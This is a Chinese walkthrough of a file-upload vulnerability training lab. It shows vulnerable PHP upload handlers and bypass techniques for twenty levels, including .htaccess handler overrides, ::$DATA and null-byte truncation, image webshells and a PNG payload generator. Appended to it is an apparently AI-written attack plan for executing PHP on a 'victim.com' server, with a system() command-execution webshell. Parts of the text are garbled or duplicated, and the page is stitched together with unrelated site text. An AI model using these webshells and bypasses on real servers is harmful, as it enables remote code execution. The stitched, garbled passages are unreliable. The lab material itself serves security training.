文件上传靶场练习

本文详细介绍了20种不同的文件上传漏洞绕过方法,包括修改后缀、MIME检测、黑名单绕过、大小写混写、.htaccess利用、00截断、文件包含、条件竞争等,涉及多种PHP环境和服务器解析漏洞。

注意:这里的环境要为php5.6以下没有nts的
在这里插入图片描述

Pass-01
直接上传图片码抓包修改后缀即可
在这里插入图片描述
在这里插入图片描述
Pass-02
同样上传图片码抓包修改后缀即可,比Pass-01多了个对MIME的检测,但对于上传图片码来说就没啥区别
Pass-03
查看源码
在这里插入图片描述
后台进行了黑名单限制,但是黑名单不完整,常见的可执行PHP文件的后缀:
php2、php3、php5、phtml、pht 当然这个的是配置文件里有才行

在这里插入图片描述

Pass-04
查看源码

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //收尾去空

        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

可以看到这个黑名单黑的很死,但是却漏了htaccess,我们可以上传一个.htaccess的配置文件,从而绕过
在这里插入图片描述

SetHandler application/x-httpd-php
#就是让所有的文件都当作php文件解析

此时我们在上传一个图片码就行了
在这里插入图片描述

Pass-05
看源码

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空

        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件类型不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

可以看出常规的后缀名都禁了,但是可以大小写混写绕过,当然这个目标运行环境得为windows
在这里插入图片描述

在这里插入图片描述
Pass-06
查看源码,将所有后缀转为小写在比对,所有大小写混写是行不通了

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = $_FILES['upload_file']['name'];
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
            if (move_uploaded_file($temp_file,$img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件不允许上传';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

Windows解析特点:如果后缀名的最后一位是空格,系统会自动把空格给删掉
在这里插入图片描述
在这里插入图片描述
Pass-07

查看源码

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件类型不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

没有去除结尾的” .”(空格+点),可绕过
在这里插入图片描述

在这里插入图片描述
Pass-08
查看源码

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件类型不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

发现没有过滤”::DATA”Windows解析特点:文件名+”::DATA” Windows解析特点:文件名+”::DATAWindows+::DATA”会把::$DATA之后的数据当成文件流处理,并不会检测后缀名。
在这里插入图片描述
在这里插入图片描述
Pass-09
查看源码

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件类型不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

该题好像各个方面都防御的很好,但是仔细一看会发现,该题先除去了文件后面的点,再除去空格,这里的操作都是一次,所以可以双写绕过
在这里插入图片描述
在这里插入图片描述
Pass-10
查看源码

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");

        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = str_ireplace($deny_ext,"", $file_name); //如果file_name的值在deny_ext中就替换为空
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = UPLOAD_PATH.'/'.$file_name;        
        if (move_uploaded_file($temp_file, $img_path)) {
            $is_upload = true;
        } else {
            $msg = '上传出错!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

与前几题不同,这里没有过滤”.”,”::$DATA”等,应该上传对象不是windows,而这里的str_ireplace用来把黑名单里的字符替换成空格,且不区分大小,不可通过大小来替换

str_ireplace(find,replace,string,count)
 替换字符串中的一些字符(不区分大小写)

依旧可以双写绕过
在这里插入图片描述
在这里插入图片描述
Pass-11
查看源码

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
    if(in_array($file_ext,$ext_arr)){
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = '上传出错!';
        }
    } else{
        $msg = "只允许上传.jpg|.png|.gif类型文件!";
    }
}

这里使用了白名单,只允许jpg,png,gif后缀上传,但是这里通过$img_path = GET[′savepath′]."/".rand(10,99).date("YmdHis")."."._GET['save_path']."/".rand(10, 99).date("YmdHis").".".GET[savepath]."/".rand(10,99).date("YmdHis").".".file_ext;拼接成文件储存路径,可通过00截断进行绕过

原理:修改后文件储存路径变成./upload/4.php%00/随机数/.jpg

​ 而php相关文件函数会认为%00是结束的标志,就成了…/upload/4.php

截断条件:
1、php版本小于5.3.4
2、php.ini的magic_quotes_gpc为OFF状态
在这里插入图片描述
此处自己没有那么低的php所以偷图来凑

Pass-12
查看源码

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
    if(in_array($file_ext,$ext_arr)){
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上传失败";
        }
    } else {
        $msg = "只允许上传.jpg|.png|.gif类型文件!";
    }
}

与Pass-11不同,这里用到了POST传值,这里用到的也是00截断

但是%00指的是一个空字符,代表结束,GET传值因为url编码会把它解析成空字符,而POST传值没有这个特点,所以我们得手动通过通过请求头的hex编码所对应的地方添加00(十六进制)来达到目的。

因此先在upload/后添加任意字符(一般为空格,因为空格对应的hex码为20比较好记)
通过hex编码我们可以找到upload/的位置,把它后面的20改为00即可。

在这里插入图片描述
还是由于这里没有低版的php截不了图

Pass-13
在这里插入图片描述
制作图片马
在cmd中执行copy 1.jpg /b + phpinfo.php /b phpinfo.jpg

在这里插入图片描述
可以利用文件包含
在这里插入图片描述
成功解析了

Pass-14
查看源码

function isImage($filename){
    $types = '.jpeg|.png|.gif';
    if(file_exists($filename)){
        $info = getimagesize($filename);
        $ext = image_type_to_extension($info[2]);
        if(stripos($types,$ext)>=0){
            return $ext;
        }else{
            return false;
        }
    }else{
        return false;
    }
}

其实就是多了对文件类型的判断,getimagesize() 函数用于获取图像大小及相关信息,成功返回一个数组,失败则返回 FALSE 并产生一条 E_WARNING 级的错误信息。
绕过方式和Pass-13一样

Pass-15
查看源码

function isImage($filename){
    //需要开启php_exif模块
    $image_type = exif_imagetype($filename);
    switch ($image_type) {
        case IMAGETYPE_GIF:
            return "gif";
            break;
        case IMAGETYPE_JPEG:
            return "jpg";
            break;
        case IMAGETYPE_PNG:
            return "png";
            break;    
        default:
            return false;
            break;
    }
}

在这里插入图片描述

exif_imagetype()函数用于判断一个图像的类型
所以绕过和Pass-13一样
Pass-16
是一个文件的二次渲染
先参考:https://xz.aliyun.com/t/2657#toc-3
直接利用现成的脚本

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
           0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
           0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
           0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
           0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
           0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
           0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
           0x66, 0x44, 0x50, 0x33);



$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
   $r = $p[$y];
   $g = $p[$y+1];
   $b = $p[$y+2];
   $color = imagecolorallocate($img, $r, $g, $b);
   imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,'./1.png');
?>

运行后用16进制形式打开文件
在这里插入图片描述
将这个文件上传抓包拦截,修改里面的内容,当然也可以直接打开修改在上传
在这里插入图片描述
成功解析了
在这里插入图片描述

Pass-17
查看源码

$is_upload = false;
$msg = null;

if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_name = $_FILES['upload_file']['name'];
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_ext = substr($file_name,strrpos($file_name,".")+1);
    $upload_file = UPLOAD_PATH . '/' . $file_name;

    if(move_uploaded_file($temp_file, $upload_file)){
        if(in_array($file_ext,$ext_arr)){
             $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
             rename($upload_file, $img_path);
             $is_upload = true;
        }else{
            $msg = "只允许上传.jpg|.png|.gif类型文件!";
            unlink($upload_file);
        }
    }else{
        $msg = '上传出错!';
    }
}

分析源码move_uploaded_file($temp_file, $upload_file)会把上传的文件先移到一个临时文件,然后判断文件是否合法了在移动回去。
所以需要利用条件竞争删除文件时间差绕过。使用burpsuite
在这里插入图片描述
在这里插入图片描述
点击Start attack
成功访问到
在这里插入图片描述
Pass-18
查看源码
在这里插入图片描述
在这里插入图片描述
前面有个upload,那我们利用条件竞争绕过访问改名前的文件时得在文件前面也要加个upload
在这里插入图片描述

7z后缀并不被Apache服务器所识别,却在上传文件名后缀的白名单中,可以利用Apache的解析漏洞将上传的7z后缀文件当做php文件解析
在这里插入图片描述
成功解析
Pass-19
在这里插入图片描述

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");

        $file_name = $_POST['save_name'];
        $file_ext = pathinfo($file_name,PATHINFO_EXTENSION);

        if(!in_array($file_ext,$deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' .$file_name;
            if (move_uploaded_file($temp_file, $img_path)) { 
                $is_upload = true;
            }else{
                $msg = '上传出错!';
            }
        }else{
            $msg = '禁止保存为该类型文件!';
        }

    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

采用了黑名单的限制,大小写混写可绕过
在这里插入图片描述
Pass-20
查看源码

$is_upload = false;
$msg = null;
if(!empty($_FILES['upload_file'])){
    //检查MIME
    $allow_type = array('image/jpeg','image/png','image/gif');
    if(!in_array($_FILES['upload_file']['type'],$allow_type)){
        $msg = "禁止上传该类型文件!";
    }else{
        //检查文件名
        $file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
        if (!is_array($file)) {
            $file = explode('.', strtolower($file));
        }

        $ext = end($file);
        $allow_suffix = array('jpg','png','gif');
        if (!in_array($ext, $allow_suffix)) {
            $msg = "禁止上传该后缀文件!";
        }else{
            $file_name = reset($file) . '.' . $file[count($file) - 1];
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' .$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $msg = "文件上传成功!";
                $is_upload = true;
            } else {
                $msg = "文件上传失败!";
            }
        }
    }
}else{
    $msg = "请选择要上传的文件!";
}

1.首先会对mime进行检测,所以要上传图片的mime
2.检查save_name是否为空,如果为空就用文件名赋值给$file,否则用save_name
3.

 if (!is_array($file)) {
            $file = explode('.', strtolower($file));
        }

判断是否为数组,如果不是数据就以"."拆分为数组
4.判断后缀是否是白名单的.jpg、.png、.gif

 $ext = end($file);
        $allow_suffix = array('jpg','png','gif');
        if (!in_array($ext, $allow_suffix))

5.一切都过了之后就是文件重命名了

$file_name = reset($file) . '.' . $file[count($file) - 1];

取数组第一个为文件名,取数组倒数第二个为文件后缀

绕过步骤:
在这里插入图片描述
upload/upload.php.后面多个.但是windows环境下.会被默认去掉

<think>我们正在讨论文件上传漏洞的利用,目标是绕过限制上传并执行PHP文件。根据提供的引用,有几种常见方法:1.修改文件后缀名(如.php改为.jpg)并配合Content-Type欺骗(声明为image/jpeg)[^1]。 2.使用其他可被解析为PHP的文件后缀(如.php3,.php4,.php5,.phtml)[^2]。 3.其他非常规绕过技巧(如XSS、重定向等)[^3]。现在,我们需要设计一种攻击思路。考虑到引用中提到的技巧,我们可以结合使用。###攻击思路设计1. **修改文件后缀名**:将恶意PHP文件的后缀改为允许上传的类型(如.jpg,.png等)。例如,将`shell.php`改为`shell.jpg`。2.**修改Content-Type**:在上传请求中,将Content-Type头部改为对应的图像类型(如`image/jpeg`)。 3. **利用特殊后缀名**:如果服务器配置了某些特殊后缀名(如.phtml)也能被解析为PHP,则可以直接使用这些后缀名上传,因为有些过滤机制可能没有禁止这些后缀。 4. **其他绕过技巧**:如果上述方法被拦截,可以考虑使用其他技巧,例如:-在文件名中添加特殊字符(如空字符、截断字符等)来绕过检测。-利用服务器解析文件的特性(如Apache的.htaccess文件配置错误)来使图片文件以PHP方式执行。-结合文件包含漏洞(如果有)来执行上传的恶意文件。###具体步骤示例假设我们有一个文件上传页面,只允许上传图片文件(后缀为.jpg,.png, .gif),并且检查Content-Type是否为图片类型。1.**准备恶意文件**:创建一个包含PHP代码的文件,例如:```php<?php system($_GET['cmd']);?>```这个文件将执行通过GET参数`cmd`传递的命令。 2. **修改文件后缀名**:将文件保存为`shell.jpg`。 3. **拦截上传请求(使用Burp Suite等工具)**:-修改请求中的文件名:将`filename="shell.jpg"`改为`filename="shell.php"`或`filename="shell.phtml"`(如果服务器支持解析.phtml)。-或者,修改Content-Type:将`Content-Type: image/jpeg`保留,以通过类型检查,但尝试将后缀改为.php(如果服务器只检查Content-Type而不检查后缀)。 4. **尝试特殊后缀名**:如果直接改为.php被拦截,可以尝试使用`.phtml`、`.php5`等。5.**利用解析特性**:如果上传后文件被保存为图片,但我们可以通过其他方式让服务器以PHP解析,例如:-如果服务器存在文件包含漏洞,我们可以通过包含这个图片文件来执行其中的PHP代码(需要图片中包含有效的PHP代码并且图片的头部不会导致PHP解析器出错)。-或者,利用服务器配置错误(如允许.htaccess覆盖配置),上传一个.htaccess文件,内容为:```AddTypeapplication/x-httpd-php.jpg```这样,所有.jpg文件都会被当作PHP执行。注意,这需要能够上传.htaccess文件。###注意事项-如果服务器同时检查文件内容(如使用getimagesize()函数检测图片有效性),那么我们需要制作一个包含PHP代码的图片文件(即图片马)。可以使用命令将PHP代码追加到图片的末尾,例如:```bashcat shell.php>> image.jpg```这样,图片仍然是一个有效的图片,但末尾包含PHP代码。当服务器只检查文件头部的图片魔数时,可以绕过。如果服务器使用文件包含漏洞来包含这个图片,其中的PHP代码会被执行。 ###总结一种综合的攻击思路是:1.制作图片马:将PHP代码追加到一张真实图片的末尾,保存为.jpg文件。2.尝试上传.jpg文件(此时Content-Type为image/jpeg)。 3.如果上传成功,但访问时图片中的PHP代码不执行,则尝试利用文件包含漏洞(如果有)来包含这个图片文件。 4.或者,如果服务器允许上传.htaccess文件,则先上传一个.htaccess文件,设置.jpg文件解析为PHP,然后再上传图片马。如果服务器对后缀名检查严格,不允许上传.htaccess,则尝试使用其他可解析的后缀名(如.phtml)上传我们的PHP文件。§§相关问题§§1.如何制作一个有效的图片马?2.文件上传漏洞中,如何利用文件包含漏洞来执行上传的恶意文件?3.除了修改后缀名和Content-Type,还有哪些绕过文件上传限制的技巧? 4.如何防御文件上传漏洞?</think>### 文件上传漏洞利用:绕过限制执行PHP文件的攻击思路 #### 1. **修改文件后缀名绕过检测** - **原理**:服务器常通过文件后缀名判断文件类型,但未验证实际内容。 - **操作步骤**: 1. 将恶意PHP文件后缀改为允许的格式(如 `.jpg`, `.png`)。 2. 使用Burp Suite拦截上传请求。 3. 修改请求中的文件名:`filename="malware.jpg"` → `filename="malware.php"`。 4. 同时修改`Content-Type`头部为 `image/jpeg` 以匹配伪造后缀[^1]。 - **效果**:服务器可能将 `.php` 文件当作图片保存,但仍能通过URL直接访问执行。 #### 2. **利用非常规PHP后缀名** - **原理**:服务器可能配置了其他后缀名解析为PHP(如 `.phtml`, `.php3`, `.php5`)。 - **操作步骤**: 1. 将文件后缀改为 `.phtml`(常见于未严格过滤的服务器)。 2. 直接上传文件,无需修改请求头[^2]。 - **优势**:绕过基于 `.php` 后缀的过滤规则。 #### 3. **结合文件包含漏洞** - **原理**:若服务器存在本地文件包含(LFI)漏洞,可执行非直接解析的文件。 - **操作步骤**: 1. 上传图片马(将PHP代码嵌入图片末尾)。 2. 通过LFI漏洞包含该文件: `http://victim.com/view.php?file=uploads/malware.jpg` - **关键**:需存在允许路径遍历的文件包含点。 #### 4. **利用.htaccess文件覆盖解析规则** - **原理**:Apache服务器允许通过 `.htaccess` 文件自定义文件解析规则。 - **操作步骤**: 1. 上传包含以下内容的 `.htaccess` 文件: ```apache AddType application/x-httpd-php .jpg ``` 2. 再上传图片马(如 `shell.jpg`)。 - **效果**:所有 `.jpg` 文件均被解析为PHP代码[^3]。 --- ### 防御建议(供学习参考) 1. **文件内容验证**:检查文件头魔数(如 `FF D8 FF` 对应JPEG)。 2. **重命名文件**:使用随机生成的文件名(如 `uuid.jpg`)。 3. **禁用危险解析**:在服务器配置中移除 `.phtml` 等扩展的PHP解析。 4. **隔离上传目录**:禁止直接执行上传目录中的脚本。
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值